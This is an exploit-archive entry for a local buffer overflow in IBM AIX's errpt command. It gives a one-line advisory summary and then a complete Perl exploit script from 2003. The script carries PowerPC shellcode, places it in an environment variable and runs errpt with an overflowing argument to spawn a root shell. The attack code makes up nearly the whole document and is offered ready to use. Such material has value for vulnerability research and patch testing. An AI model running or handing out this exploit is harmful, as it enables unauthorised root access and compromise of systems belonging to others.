source: https://www.securityfocus.com/bid/5885/info
The IBM AIX errpt command is prone to a locally exploitable buffer overflow condition. It is possible to exploit this condition to execute arbitrary attacker-supplied instructions with root privileges.
#!/usr/bin/perl
# FileName: x_errpt_aix5.pl
# Exploit command errpt for Aix5L to get a root shell.
# Tested : on Aix5.1
# Author : watercloud@xfocus.org
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-4-16
# Announce: use as your owner risk!
$BUFF="A". "\x7c\xa5\x2a\x79"x500;
#shellcode from lsd-pl and modified by watercloud 2003-4 for Aix5L
$BUFF.="\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
$BUFF.="\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
$BUFF.="\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
$BUFF.="\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";
%ENV=(); $ENV{CC}=$BUFF;
exec "/usr/bin/errpt","-T","A"."\x2f\xf2\x2a\x40"x1320;
#EOF
